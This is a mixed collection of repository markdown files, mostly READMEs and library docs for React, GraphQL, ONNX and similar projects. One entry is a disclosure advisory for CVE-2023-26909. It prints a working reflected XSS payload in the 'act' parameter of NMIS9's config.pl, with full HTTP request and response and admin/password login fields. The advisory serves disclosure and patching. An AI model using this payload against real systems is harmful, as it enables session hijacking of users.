text:
# storeFront
Virtual Store: creating an e-Commerce storefront using React with Redux

## Author: Louis Lassegue

## Stories
- User should expect to see a list of available product categories in the store so they can easily browse products
- User should be able to choose a category and see a list of all available products matching that category
- User want a clean and easy to use interface

## Development Process

### Phase 1:
- [React](https://reactjs.org/) Application
  - setup the basic scaffolding of the application with basic behaviors.
  - Components
    - App - container for all sub-components of this application
    - Header - shows the name of your virtual store
    - Footer - shows your copyright and contact information
    - Categories:
      - list of all categories
      - Dispatches an action when one is clicked to “activate” it
    - Products - a list of products associated with the selected category

- [Redux](https://redux.js.org/)
  - State Management
    - Categories - State contain a list of categories as well as the active category
    - Products - State contain a list of all products
    - Active Category - State store active category

- [Material UI](https://material-ui.com/)
  - For styling Components

### Phase 2: Adding the "Add to Cart" feature to application
- [React](https://reactjs.org/) Application
  - Add a "Cart" indicator to the header, (Cart (0))
  - Components
    - Cart - show the items in the user’s cart
    - SimpleCart:
      - short list (title only) of products in the cart
      - present at all times

- [Redux](https://redux.js.org/)
  - State Management
    - Cart:
      - State contain an array of products that have been added (all product details)
      - an action that will trigger the reducer to add the selected item to the cart
      - a reducer that adds the product to the array of items in state

### Phase 3: Connecting our Virtual Store to a live API
- Persist changes to products based on cart activity.

### Phase 4: Adding a two full page views to the application: Product Details and Checkout
- Add routing to the application
  - Product Details
  - Checkout

## Tests

## UML
![Wireframe of Store front](./src/assets/wireframe.png)

## Setup
- [Github](https://github.com/mrloulass/storefront)
  - `fork` repository on Github
  - click green code and `clone` URL

- Project directory on local machine
  - `git clone` cloned URL

- Install dependencies
  - `npm install`
    - react-redux
    - redux
    - redux-devtools-extension
    - @material-ui/core
    - @material-ui/icons
    - react-router-dom
    - sass

- In the project directory, you can run:
  - `npm start`
    - Runs the app in the development mode.
    - Open http://localhost:3000 to view it in the browser.

  - The page will reload if you make edits.
  - You will also see any lint errors in the console.

  - `npm test`
    - Launches the test runner in the interactive watch mode.
    - See the section about running tests for more information.

## Links

repository: mrloulass/storefront

repo_name: mrloulass/storefront


text:
---
layout: default
---

# 1996-10-09 - pgp, edi, s/mime

## Header Data

From: Jeff Ubois<EMAIL_ADDRESS>To<EMAIL_ADDRESS>Message Hash: e82d1af24d0b5f659f579ad9ab64529c10a14a2205fb3d3f67a52a600feaa380

Message ID<EMAIL_ADDRESS>Reply To: _N/A_

UTC Datetime: 1996-10-09 00:52:47 UTC

Raw Date: Wed, 9 Oct 1996 08:52:47 +0800

## Raw message

```
{% raw  %}From: Jeff Ubois<EMAIL_ADDRESS>Date: Wed, 9 Oct 1996 08:52:47 +0800
To<EMAIL_ADDRESS>Subject: pgp, edi, s/mime
Message-ID<EMAIL_ADDRESS>MIME-Version: 1.0
Content-Type: text/plain

Interesting comments from a member of the IETF EDI-INT group, which is
developing standards for secure EDI over the net, and managing a Commercenet
pilot project:

- S/MIME and PGP are the two leading candidates for encrypting EDI messages,
S/MIME inside the US, and PGP outside the US where S/MIME is unavailable.

- If PGP 3.0 comes out on time with promised features, it could gain
adoption by large companies as a standard means of encrypting EDI messages;
that would pull smaller companies along, but it has a narrow window of
opportunity and could lose to S/MIME products like those from Deming.

- The G7 governments will impose key escrow on large companies trading over
the net, and while non-escrowed systems will continue to be available, they
are likely to be illegal, and certainly will be marginalized.

{% endraw %}
```

## Thread

+ Return to [October 1996](/archive/1996/10)

+ Return to "[Jeff Ubois <jubois@netcom.com>](/authors/jeff_ubois_jubois_at_netcom_com_)"

+ 1996-10-09 (Wed, 9 Oct 1996 08:52:47 +0800) - pgp, edi, s/mime - _Jeff Ubois<EMAIL_ADDRESS>

license: MIT

branch_name: refs/heads/master

extension: md

gha_license_id: MIT

license_type: permissive


text:
# Arger from function

in a file named [`src.py`](./src.py)

```python
--8<-- "examples/3-arger-as-function/src.py"
```

The functions are converted to sub-commands while the function `arger` serves as the entrypoint.
It will get executed before other sub-commands.

repository: jnoortheen/arger

gha_language: Python

repo_name: jnoortheen/arger


text:
# mkdocs-plugin-commonmark

A plugin for mkdocs that swaps python-markdown for mistletoe to bring CommonMark support to mkdocs. Please note, this plugin monkey-patches mkdocs as there are not plugin hooks for changing the renderer.

The majority of the code to support this plugin comes from the development Andy Pan did to fork mkdocs to add commonmark support. This plugin eliminates the need for a fork, but given that is closely coupled to mkdoc internals, it may break on a subsequent mkdoc release. It has currently been tested with version 1.1.2 of mkdocs.

repository: soxhub/mkdocs-plugin-commonmark

repo_name: soxhub/mkdocs-plugin-commonmark


text:
# Web Page

```hbs template
<References class="references" as |l|>
  <l.WebPage
    @title="Builder"
    @url="https://refactoring.guru/design-patterns/builder"
    as |r|
  >
    <r.Author @given="Alexander" @family="Shvets" />
  </l.WebPage>
</References>
```

repository: gossi/ember-cite

branch_name: refs/heads/main

gha_language: TypeScript

repo_name: gossi/ember-cite


text:
# requirments
download libtorch (https://download.pytorch.org/libtorch/cu90/libtorch-shared-with-deps-latest.zip)
unzip libtorch, then put them under c++ dir
install cuda9.2
install cudnn7
opencv build with -D_GLIBCXX_USE_CXX11_ABI=0 (**important**)
# How to use
mkdir build
cd build
cmake ..
make
# run
./example-app ../mv2.pt test1.jpg test2.jpg
# we will see the result
inputs:1
start...
id:0 conf:0.96528
id:4 conf:0.996588


text:
# Tachyons Plugin Accurat

Tachyons Addons for the specific needs of Accurat

#### Install

```sh
yarn add tachyons-plugin-accurat
```

#### Import the module in the root of your project

```sh
import 'tachyons'
import 'tachyons-plugin-accurat'
```


text:
# Queryable

toc

## Extending Queryable

You have a function you wish was part of Queryable.
snippet: custom-query
You can add this to Queryable by implementing the `com.lambda.utils.Extendable` interface.
snippet: implementing-extendable
Now you can add extension methods that are **not static**
snippet: extendable-query
and now you can call it as such
snippet: custom-query-example
whereas previously you had to use
snippet: custom-query-example-static

---

[Back to User Guide](README.md#top)


text:
# Release process

This document outlines the release process:

1. Ensure you are running on the oldest supported Elixir version (check `.travis.yml`)

2. Ensure `CHANGELOG.md` is updated and add current date

3. Change the version number in `mix.exs` and `README.md`

4. Run `mix test` to ensure all tests pass

5. Commit changes above with title "Release vVERSION" and push to GitHub

    git add .
    git commit -m"Release vX.Y.Z"
    git push origin master

6. Check CI is green

7. Create a release on GitHub and add the CHANGELOG from step #2 (https://github.com/graphql-elixir/plug_graphql/releases/new) using VERSION as the tag and title

8. Publish new hex release with `mix hex.publish`

9. Publish hex docs with `mix hex.docs`

10. Update upstream repos `hello_graphql_phoenix` and `graphql_relay` and release as appropriate

## Deprecation policy

GraphQL deprecations happen in 3 steps:

  1. The feature is soft-deprecated. It means both CHANGELOG and documentation must list the feature as deprecated but no warning is effectively emitted by running the code. There is no requirement to soft-deprecate a feature.

  2. The feature is effectively deprecated by emitting warnings on usage. In order to deprecate a feature, the proposed alternative MUST exist for AT LEAST two versions.

  3. The feature is removed. This can only happen on major releases.

gha_language: Elixir

gha_license_id: NOASSERTION


text:
# Async TAJS

This is an extension of TAJS (https://github.com/cs-au-dk/TAJS)
that provides support for asynchronous JavaScript programs.

The details of the extension are described in the
ECOOP'19 paper "Static Analysis for Asynchronous JavaScript Programs".

## How to build and run the tool

Make sure you clone not only the TAJS repository but also the submodules, for example by running
```
git submodule update --init --recursive
```

The simplest way to build TAJS is to run Ant:
```
ant
```
This will build two jar files: `dist/tajs.jar` (contains only TAJS itself) and `dist/tajs-all.jar` (includes the relevant extra libraries).

You can now run the analysis as, for example:
```
java -jar dist/tajs-all.jar test-resources/src/google/richards.js
```
or
```
java -jar dist/tajs-all.jar test-resources/src/chromeexperiments/3ddemo.html
```

## Analyzing an asynchronous program

```JavaScript
var t;
function foo() {
    if (TAJS_make('AnyBool')) {
        return Promise.resolve('foo').then(
            function fun2() {
                t = {bar: 1};
                return 'foo';
            }
        ).then(function fun3(value) {
            TAJS_assertEquals(value, 'foo');
            throw 'baz';
        });
    } else {
        return Promise.resolve({
            then: function fun4(res) {
                TAJS_dumpValue('thenable exec');
                t = {bar : 1};
                res('bar');
            }
        });
    }
}

var x = Promise.resolve('bar');
x
    .then(function fun1(value) {
        TAJS_assertEquals(value, 'bar');
        return foo();
    })
    .then(function fun5(value) {
        t.bar; // no error;
        TAJS_assertEquals(value, 'bar');
    })
    .catch(function fun6(value) {
        // This error is propagated from fun3.
        TAJS_dumpValue(value);
    });
```

Analyzing this program with async TAJS produces
the following callback graph:

![callback_graph](misc/callback_graph.png)

The `deRej()` and `deFul()` functions are the
default promise-related functions used for promise rejection
and fulfillment respectively,
as described in
[ECMAScript Specification](https://www.ecma-international.org/publications/files/ECMA-ST/ECMA-262.pdf).

repository: theosotr/async-tajs

branch_name: refs/heads/develop

gha_language: Java

repo_name: theosotr/async-tajs


text:
# Triptastic

A travel website template built using React, GraphQL, and Gatsby

## Setup

1.  Fork and clone this repository.
1.  Create a new branch for your work.
1.  Checkout to the branch that you have named.
1.  Install dependencies with `npm install`.
1.  Run `gastsby develop` or `npm run develop` to run on local host `localhost:3000`

## Technologies Used

- Gatsby
- GraphQL
- React
- React Icons
- Styled Components


text:
# Instructions for updating the pip Package:

1. Modify the package
2. run ```python3
git tag v0.0.4` (use the actual version number)
```
3. update version in `setup.py` and `__init__.py`
4. delete `dist/` directory and run ```python3
python setup.py sdist bdist_wheel
```
5. add files, commit, and push to github
6. check distribution files using twine by running: ```python3
twine check dist/*
```
7. upload package to PyPI.org using: ```python3
twine upload dist/*
```


text:
# US Youtube Data Analysis and Visualization

---

## Table of Content
- [Description](#Description)
- [How to Run](#how-to-run)
- [Further Information](#further-information)
- [Author](#author)

---

## Description
This program is developed to complete the second final assignment for KU1102 Pengenalan Komputasi course. This program is about data analysis and visualization. Here we use dataset from [Kaggle](https://www.kaggle.com/datasnaek/youtube-new?select=USvideos.csv) about daily trending YouTube videos in USA. The dataset we use is in csv format and additional data is in json format. Here we perform data cleaning to get data that is ready to be processed, look for statistics from several columns of data, visualize various information, such as correlations between columns, category comparisons, and top channels, also we perform linear regression of our dataset.

---

## How to Run
1. Open your terminal (bash) in your dedicated folder for this repo
2. Clone this repository
    ```sh
    git clone https://github.com/malikrafsan/US-Youtube-Data-Analysis-Visualization.git
    ```
3. Open US-Youtube-Data-Analysis-Visualization folder and upload [Tugas_Besar_2_Kelompok_8.ipynb](Tugas_Besar_2_Kelompok_8.ipynb) to Google Colab / Jupyter Notebook
4. Run all block program
5. Enjoy the program :D

---

## Further Information
- [Assignment Specification](Specification\KU1102_DA_4_TugasDataAnalisis_StreamPemrograman.pdf)
- [Assignment Report](Report\Laporan-Tugas-Besar-Pengkom-2.pdf)

---

## Author
|Name   |NIM   |
|:---:|:---:|
|Gagas Praharsa Bahar|16520289|
|Malik Akbar Hashemi Rafsanjani|16520299|
|Alifia Rahmah|16520309|
|Ng Kyle|16520319|


text:
<!--- SPDX-License-Identifier: MIT -->

# MNIST - Handwritten Digit Recognition

## Description
This model predicts handwritten digits using a convolutional neural network (CNN).

## Model
|Model|Download|Download (with sample test data)| ONNX version |Opset version|TOP-1 ERROR|
|-----|:-------|:-------------------------------|:-------------|:------------|:------------|
|MNIST|[27 kB](model/mnist-1.onnx)|[26 kB](model/mnist-1.tar.gz) |1.0  |1 |1.1% |
|MNIST|[26 kB](model/mnist-7.onnx)|[26 kB](model/mnist-7.tar.gz) |1.2  |7 |1.1% |
|MNIST|[26 kB](model/mnist-8.onnx)|[26 kB](model/mnist-8.tar.gz) |1.3  |8 |1.1% |
|MNIST-12|[26 kB](model/mnist-12.onnx)|[26 kB](model/mnist-12.tar.gz) |1.9  |12 |1.1% |
|MNIST-12-int8|[11 kB](model/mnist-12-int8.onnx)|[10 kB](model/mnist-12-int8.tar.gz) |1.9  |12 |1.1% |

### Dataset
The model has been trained on the popular [MNIST dataset](http://yann.lecun.com/exdb/mnist/).

### Source
The model is trained in CNTK following the tutorial [CNTK 103D: Convolutional Neural Network with MNIST](https://github.com/Microsoft/CNTK/blob/master/Tutorials/CNTK_103D_MNIST_ConvolutionalNeuralNetwork.ipynb). Note that the specific architecture used is the model with alternating convolution and max pooling layers (found under the "Solution" section at the end of the tutorial).

### Demo
[Run MNIST in browser](https://microsoft.github.io/onnxjs-demo/#/mnist) - implemented by ONNX.js with MNIST version 1.2

## Inference
We used CNTK as the framework to perform inference. A brief description of the inference process is provided below:

### Input
Input tensor has shape `(1x1x28x28)`, with type of float32.
One image at a time. This model doesn't support mini-batch.

### Preprocessing
Images are resized into (28x28) in grayscale, with a black background and a white foreground (the number should be in white). Color value is scaled to [0.0, 1.0].

Example:
```python
import numpy as np
import cv2

image = cv2.imread('input.png')
gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
gray = cv2.resize(gray, (28,28)).astype(np.float32)/255
input = np.reshape(gray, (1,1,28,28)
```

### Output
The likelihood of each number before [softmax](https://en.wikipedia.org/wiki/Softmax_function), with shape of `(1x10)`.

### Postprocessing
Route the model output through a softmax function to map the aggregated activations across the network to probabilities across the 10 classes.

### Sample test data
Sets of sample input and output files are provided in
* serialized protobuf TensorProtos (`.pb`), which are stored in the folders `test_data_set_*/`.

## Quantization
MNIST-12-int8 is obtained by quantizing MNIST-12 model. We use [Intel® Neural Compressor](https://github.com/intel/neural-compressor) with onnxruntime backend to perform quantization. View the [instructions](https://github.com/intel/neural-compressor/blob/master/examples/onnxrt/image_recognition/onnx_model_zoo/mnist/quantization/ptq/README.md) to understand how to use Intel® Neural Compressor for quantization.

### Environment
onnx: 1.9.0
onnxruntime: 1.10.0

### Prepare model
```shell
wget https://github.com/onnx/models/raw/main/vision/classification/mnist/model/mnist-12.onnx
```

### Model quantize
```bash
bash run_tuning.sh --input_model=path/to/model \  # model path as *.onnx
                   --config=mnist.yaml \
                   --output_model=path/to/save
```

## References
* [Intel® Neural Compressor](https://github.com/intel/neural-compressor)

## Contributors
* [mengniwang95](https://github.com/mengniwang95) (Intel)
* [airMeng](https://github.com/airMeng) (Intel)
* [ftian1](https://github.com/ftian1) (Intel)
* [hshen14](https://github.com/hshen14) (Intel)

## License
MIT

repository: onnx/models

gha_language: Jupyter Notebook

repo_name: onnx/models


text:
# FRC-2020

### 17MAR2021

Java code for FIRST team 3559. This code was developed primarily by Edwin Sanchez for use on the robot in the 2020 game; Infinite Recharge.
It was developed in VSCode with the WPI plugin. Due to the chaos of the truncated season, the development of this code was cut short. You may find incomplete sections that were not finished.

A more complete version of this code may be found in the ** FRC-2021 ** repository. _After all, it was the same robot, only better._


text:
# DOOM

DOOM is a high-ish performance DOM manipulation tool with a declarative API intended for use in procedural or functional code. Use it as a first level above the raw DOM, below your bespoke custom HTML component framework or game engine SVG renderer.

It's named DOOM so that you get to have the word "DOOM" in your code.

To make good use of DOOM, you already need to be fairly familiar with how the DOM works. This library doesn't introduce any abstractions, it just offers some caching and a more concise syntax optimized for CoffeeScript.

### Basic Usage

DOOM attaches itself to the window, to the current `this` wherever it's loaded (typically also the window), and it integrates with [Take & Make](https://github.com/cdig/take-and-make) if they exist.

#### Writing

Call the `DOOM` function with an element, and an object where keys are the name of a property, attribute, style, or event and the values are the desired value.

```coffee
DOOM elm,
  innerHTML: "<h1>ERROR</h1>" # property
  myCustomAttr: "active" # attribute
  color: "red" # style
  click: (e)-> DOOM.remove e.currentTarget # event
```

Values you supply are cached, and repeated writes with the same value are ignored. This is very helpful if you prefer working in an immediate-mode style, as there's normally a fairly high cost to touching the DOM even if nothing will change as a result. This is especially true of SVG.

Speaking of SVG, DOOM is designed to account for the differences between the HTML DOM and the SVG DOM. If you set a value like `"fontSize"`, it'll be set as an inline style in HTML and as an attribute in SVG.

How does DOOM determine whether to set something as a property, an attribute, or a style? See the source code — there are lists of attributes, properties, and styles. If DOOM doesn't recognize a name you supply it will be used as an attribute, since custom attributes are extremely common.

#### Reading

Call `DOOM` with an element and the name of a DOM property, HTML/SVG attribute, or inline style.

```coffee
console.log DOOM elm, "value" # property
console.log DOOM elm, "disabled" # attribute
console.log DOOM elm, "display" # style
```

DOOM will return whatever value DOOM has in its cache — or (as a fallback) whatever value the browser has. The fact that the cache wins automatically if it has a value is important to keep in mind. DOOM doesn't do anything to detect if the ground truth has changed, to avoid throwing you off a performance cliff. If you need the ground truth, use whichever real DOM method is most appropriate for the situation.

### Element Manipulation

DOOM also offers a handful of functions for manipulating the DOM hierarchy.

You can create a new DOM element by calling `DOOM.create` with the tag name, (optional) parent element, and (optional) object of props/attrs/styles to set on the new element.

```coffee
div = DOOM.create "div", document.body, textContent: "I feel elemental."
```

There's also the old standbys from the JQuery era...

```coffee
DOOM.append someParentElm, adoptedChild # Adds a child to the bottom
DOOM.prepend someParentElm, precociousChild # Adds a child to the top
DOOM.remove someParentElm, offToCollege # Removes a child
DOOM.remove someElm # Removes this element
DOOM.empty someParentElm # Removes all children
```

### Special Rules for Keys

* For HTML/SVG attributes, `lowerCamelCase` is normalized into `kebab-case`.
* An exception to the above is the list of `attrNames` in the code — these are treated as case-sensitive and are not normalized. This is essential for SVG, which uses a handful of case-sensitive attribute names.
* If you need to use a name that isn't a legal key literal, supply it as a string key: `DOOM elm, "-webkit-filter": "blur(12px)"`

### Special Rules for Values

* When setting an HTML/SVG attribute, use an empty string to set a boolean attribute: `DOOM elm, disabled: ""`
* If you want to remove an attribute, pass null: `DOOM elm, disabled: null`.
* `undefined` values are ignored.

### Project Philosophy

DOOM is not in npm. When I use it, I just copy-paste the source code into each project.  After copying DOOM into your codebase, you should modify the attr, prop, and style lists as needed to suit what you're doing. That's why those lists aren't exhaustive — I don't want to waste bytes on stuff I'm not using. DOOM is basically "done" and I can't foresee making any changes to it, so there's little risk of missing out on upstream changes.

DOOM has been used on [LunchBox Sessions](https://www.lunchboxsessions.com) for several years now, and thus has been run tens or maybe hundreds of millions of times in tons of permutations without any known issues. So if you do manage to find the bugs, that'd be awesome, because I'm having some trouble turning them up.

### That's it?

That's DOOM! This is me on Twitter: [https://twitter.com/spiralganglion](https://twitter.com/spiralganglion). Enjoy.

license: Unlicense

repository: ivanreese/DOOM

repo_name: ivanreese/DOOM


text:
---
id: understanding-relations
title: Relations between Types
---

The most important part of GraphQL is a relations between types.

## Relation via FieldConfig

Assume you have `Author` and `Post` types.

```js
import { schemaComposer } from 'graphql-compose';

const AuthorTC = schemaComposer.createObjectTC({
  name: 'Author',
  fields: {
    id: 'Int!',
    firstName: 'String',
    lastName: 'String',
  },
});

const PostTC = schemaComposer.createObjectTC({
  name: 'Post',
  fields: {
    id: 'Int!',
    title: 'String',
    votes: 'Int',
    authorId: 'Int',
  },
});
```

GraphQL allows to create additional fields in your types which may provide data from other type. For example, you may add field `posts` to the `Author` type and write `resolve` function in such way that this field will return array of posts only for current Author.

It can be done in the following manner:

```js
AuthorTC.addFields({
  posts: {
    type: [PostTC], // array of Posts
    resolve: (author, args, context, info) => {
      return DB.Posts.find({ authorId: author.id });
    },
  },
});
```

It's quite easy. But now lets improve our relation and add new arguments `limit` and `skip`:

```js
AuthorTC.addFields({
  posts: {
    type: [PostTC], // array of Posts
    args: {
      limit: {
        type: 'Int',
        defaultValue: 10,
      },
      skip: 'Int',
    },
    resolve: (author, args, context, info) => {
      return DB.Posts
        .find({ authorId: author.id })
        .limit(args.limit)
        .skip(args.skip || 0);
    },
  },
});
```

And this is also very easy, but what if we want provide `filter` argument which adds ability to filter by creation date, and min number of votes:

```js
AuthorTC.addFields({
  posts: {
    type: [PostTC], // array of Posts
    args: {
      limit: {
        type: 'Int',
        defaultValue: 10,
      },
      skip: 'Int',
      filter: `
        input PostsFilterInput {
          createdAtMin: Date
          votesMin: Int
        }
      `,
    },
    resolve: (source, args, context, info) => {
      const criteria = { authorId: source.id };
      if (args.filter) {
        if (args.filter.createdAtMin) criteria.createdAt = { $gt: args.filter.createdAtMin };
        if (args.filter.votesMin) criteria.votes = { $gt: args.filter.votesMin };
      }
      return DB.Posts
        .find(criteria)
        .limit(args.limit)
        .skip(args.skip || 0);
    },
  },
});
```

Hm, it's became quite long. But what if you have other Types wich have relations with Posts (eg Reviewer, Reader)? I don't think that copy/paste of `resolve` method will be a good idea. Cause in the future you may want to add a new `filter` property and should scan all your code and put additional logic in all `FieldConfigs`. So if you meet with such problem the next section is for you.

## Relation via Resolver

If you need to use the same FieldConfigs in different Types for such cases graphql-compose provides **[Resolver](basics/what-is-resolver.md)** class. You may create a Resolver which will define `type`, `args` and `resolve` and reuse in all places of your Schema where you need it.

Anyway if you put `posts` resolver in separate file, you will meet with another problems

- in `Author` type you will use `criteria = { authorId: source.id }` for resolve method;
- in `Reviewer` - `criteria = { reviewers: { $has: source.id } }` and so on.

For such case better to improve `args.filter` by allowing to set `authorId` and `reviewerId` via arguments:

```js
import { schemaComposer } from 'graphql-compose';

const postsResolver = schemaComposer.createResolver({
  type: [PostTC], // array of Posts
  args: {
    limit: {
      type: 'Int',
      defaultValue: 10,
    },
    skip: 'Int',
    filter: `
      input PostsFilterInput {
        createdAtMin: Date
        votesMin: Int
        authorId: ID
        reviewerId: ID
      }
    `,
  },
  resolve: (source, args, context, info) => {
    const { filter } = args;
    const criteria = {};
    if (filter) {
      if (filter.createdAtMin) criteria.createdAt = { $gt: filter.createdAtMin };
      if (filter.votesMin) criteria.votes = { $gt: filter.votesMin };
      if (filter.authorId) criteria.authorId = filter.authorId;
      if (filter.reviewerId) criteria.reviewerId = { $has: filter.reviewerId };
    }
    return DB.Posts
      .find(criteria)
      .limit(args.limit)
      .skip(args.skip || 0);
  },
});
```

And now you may create relations via `ObjectTypeComposer.addRelation` method in such way:

```js
AuthorTC.addRelation('posts', {
  resolver: () => postsResolver,
  prepareArgs: {
    filter: source => ({ authorId: source.id }),
  },
  projection: { id: true },
});

ReviewerTC.addRelation('posts', {
  resolver: () => postsResolver,
  prepareArgs: {
    filter: source => ({ reviewerId: source.id }),
  },
  projection: { id: true },
});
```

## ObjectTypeComposer.addRelation()

`addRelation` method has following arguments:

```js
ObjectTypeComposer.addRelation(
  fieldName: string,
  opts: {
    resolver: () => Resolver,
    prepareArgs?: ObjectTypeComposerRelationArgsMapper,
    projection?: ProjectionType,
    description?: string,
    deprecationReason?: string,
  })
): ObjectTypeComposer<any, any>
```

### resolver

Should be an arrow function which returns `Resolver`. Wrapping resolver in arrow function helps to solve `hoisting` problem (when two types imports each other).

### prepareArgs

At runtime we should have ability to prepare somehow args which will be passed to Resolver.

For example our Resolver has following arguments `filter`, `limit`, `skip` and `sort`.
`prepareArgs` provides instruction how to setup them:

- `limit: 10` - hide `limit` arg from schema and set it equal to 10
- `filter: (source) => value` - hide `filter` arg form schema and at runtime evaluate its value
- `sort: null` - disable argument (hide from schema and do not pass it to resolver)
- all undescribed args (like `skip`) will be avaliable in the schema and will be avaliable in query

### projection

Is very useful option for extending requested fields in your query. It very good practice to request from database only that fields which were requested in the query. But sometimes we need to request additional fields for fullfilling `findById` resolver with `authorId` value in arguments. For this purpose you need to use `projection`.

```js
PostTC.addRelation('author', {
  resolver: () => AuthorTC.getResolver('findById'),
  prepareArgs: {
    id: (source) => source.authorId,
  },
  projection: { authorId: true },
});
```

So when you make such query

```js
{
  post {
    author {
      firstName
    }
  }
}
```

it will be transformed to

```js
{
  post {
    author {
      firstName
    }
    authorId # <--- added by `projection` option
  }
}
```

Without `projection` when we will request `author` field its resolver may get `args.authorId` equals to `undefined`. In this situation will not provide any data for `Author`. It happens if fetching only that fields which listed in the query from database. So when client requests `author` field in GraphQL Query he also must request `authorId` explicitly. But why client should care it? So required additional fields should be requested via `projection` option.

repository: antoniopresto/graphql-compose

repo_name: antoniopresto/graphql-compose


text:
# Event Store

Takes an input event and stores it in the Events store with the type specified in the Type property. The content, sender override, and embedding inputs allow you to store/override additional information about the event.

repository: Oneirocom/Magick

branch_name: refs/heads/development

repo_name: Oneirocom/Magick


text:
# Element

## Usage 🔌

~~~js
import { Element } from 'styled-velocity';
~~~

## About

This `Element` component has access to all the `sharedProps` used for styling your element and can really speed up your workflow.

## Examples

Give an element `padding: 50px`.

~~~js
<Element p={50}>
~~~

Give an element 2 cells worth of margin.

~~~js
<Element cm={2}>
~~~

Give a `<main>` element 5 cells worth of padding on top and bottom.

~~~js
<Element element="main" cpy={5}>
~~~

Give an element absolute positioning, and position it 3 cells width from the top, and 6 cells width from the left.

~~~js
<Element position="absolute" ct={3} cl={6}>
~~~

Give an element an offset by a 1/2 cells width using `ctransform`.

~~~js
<Element ctransform={{x: 0.5}}>
~~~

repository: jonkwheeler/styled-velocity

repo_name: jonkwheeler/styled-velocity


text:
---
layout: post
title:  "Cross-site scripting (XSS) in Opmantek NMIS module before 9.4.3"
date:   2023-04-06 19:51:02 +0700
categories: [cve]
---

* CVE ID: CVE-2023-26909
* CWE ID: CWE-79

#### Vendor: Opmantek (FirstWave company)

#### Product: Opmantek NMIS9 Virtual Appliance

#### Version affected: NMIS 9.4.2 and earlier versions

#### Product description:

FirstWave is a publicly-listed, global technology company formed in 2004 in Sydney, Australia.
FirstWave’s globally unique CyberCision platform provides best-in-class cybersecurity technologies, enabling FirstWave’s Partners, including some of the world’s largest telcos and managed service providers (MSPs), to protect their customers from cyber-attacks, while rapidly growing cybersecurity services revenues at scale.

The affected product is the Opmantek NMIS9 Virtual Appliance, which is developed by Opmantek, a subsidiary of FirstWave Corporation, a publicly-listed global technology company based in Sydney, Australia. The product version affected is NMIS 9.4.2 and earlier versions.

#### Proof of Concept:

A Proof of Concept (PoC) has revealed the presence of a reflected cross-site scripting (XSS) vulnerability in the product. The vulnerability was discovered on the cgi-bin/config.pl page, and it can be exploited to execute malicious code in the context of the affected user's session.

The attack scenario involves injecting a JavaScript payload into the 'act' parameter of the URL, which gets executed when the user logs in with their credentials. The PoC also provides evidence of the script payload being returned in the HTTP response.

#### Reproducing of Cross-Site scripting:
{% highlight ruby %}

1.GET Request

https://<IP_ADDRESS>/cgi-nmis9/config.pl?act=%3Cscript%3Ealert(1)%3C/script%3E&section=system&item=hide_groups

2. User admin/password in this case getting logged on, when injected java script gets executed.

3. Final HTTP Request/Response

Request:

POST /cgi-nmis9/config.pl HTTP/1.1
Host: <IP_ADDRESS>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------219772600018532218693195954924
Content-Length: 1030
Origin: https://<IP_ADDRESS>
Referer: https://<IP_ADDRESS>/cgi-nmis9/config.pl
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

-----------------------------219772600018532218693195954924
Content-Disposition: form-data; name="auth_username"

admin
-----------------------------219772600018532218693195954924
Content-Disposition: form-data; name="auth_password"

password
-----------------------------219772600018532218693195954924
Content-Disposition: form-data; name="login"

Login
-----------------------------219772600018532218693195954924
Content-Disposition: form-data; name="conf"

-----------------------------219772600018532218693195954924
Content-Disposition: form-data; name="login"

Login
-----------------------------219772600018532218693195954924
Content-Disposition: form-data; name="act"

<script>alert(1)</script>
-----------------------------219772600018532218693195954924
Content-Disposition: form-data; name="section"

system
-----------------------------219772600018532218693195954924
Content-Disposition: form-data; name="item"

hide_groups
-----------------------------219772600018532218693195954924--

Response:

HTTP/1.1 200 OK
Date: Wed, 04 Jan 2023 07:07:13 GMT
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16
Expires: Wed, 04 Jan 2023 07:07:15 GMT
Set-Cookie: omk=eyJhdXRoX2RhdGEiOiJhZG1pbiIsImV4cGlyZXMiOjE2NzI4MTc4MzV9--a1cfd6a852976485aaba2df83a25208834899b73; path=/; expires=Wed, 04-Jan-2023 07:37:15 GMT; HttpOnly
Connection: close
Content-Type: text/html; charset=ISO-8859-1
Content-Length: 77

Config: ERROR, act=<script>alert(1)</script>, node=, intf=
Request not found

{% endhighlight %}

#### Recommendation:

This vulnerability can be mitigated by updating the affected product to a patched version. The company has released a fixed version of the product (NMIS 9.4.3) that addresses this vulnerability. It is recommended that users upgrade to the latest version to ensure the security of their systems.

#### References:

1. https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
2. https://firstwave.com/products/network-management-information-system/
3. https://support.opmantek.com/browse/SUPPORT-10209
4. https://community.opmantek.com/display/NMIS/NMIS+9+Release+Notes
5. https://dl-nmis.opmantek.com/nmis9-9.4.3.run

url: https://raw.githubusercontent.com/inf0seq/inf0seq.github.io/8c47fdd0fb06d3adcd309791b0e554e6d18c1984/_posts/2023-04-06-Cross-site scripting (XSS) in Opmantek NMIS module before 9.4.3.md


text:
# NanoJ-Fluidics: open-source fluid exchange in microscopy

This fork focuses on creating a standalone Arduino Lego-based stepper motor syringe system (numpad and LCD 16x2 bit) similar to a traditional syringe pump like an Aladdin AL-3000 pump. This still maintains compatability with NanoJ-Fluidics software. It is currently in **beta** and glitches are expected.

Note: visit the [**Wiki**][10] or [**Forum**][12] for latest updates.

![][8]

NanoJ-Fluidics is an open-source device, composed of easily accessible LEGO-parts, electronics and labware. It is designed to automate and simplify fluid exchange experiments in microscopy. Check the paper in Nature Communications: [Automating multimodal microscopy with
NanoJ-Fluidics][11].

## It consists of three parts:
+ [LEGO-based, multiplexable and compact syringe pumps][4]
+ [A simple "hack" to enable liquid exchange on cell culture dishes][5]
+ And a comprehensive [electronic][6] and [software][7] control suite to control the pumps.

This [Wiki][10] provides all the information necessary for researchers to reproduce their own systems and start performing fluidic experiments on their microscopes.

## Developers
NanoJ-Fluidics is developed in a collaboration between the [Henriques][1] and [Leterrier][9] laboratories.

## Developers
NanoJ-Fluidics is developed in a collaboration between the [Henriques][1] and [Leterrier][9] laboratories, with contributions from the community:
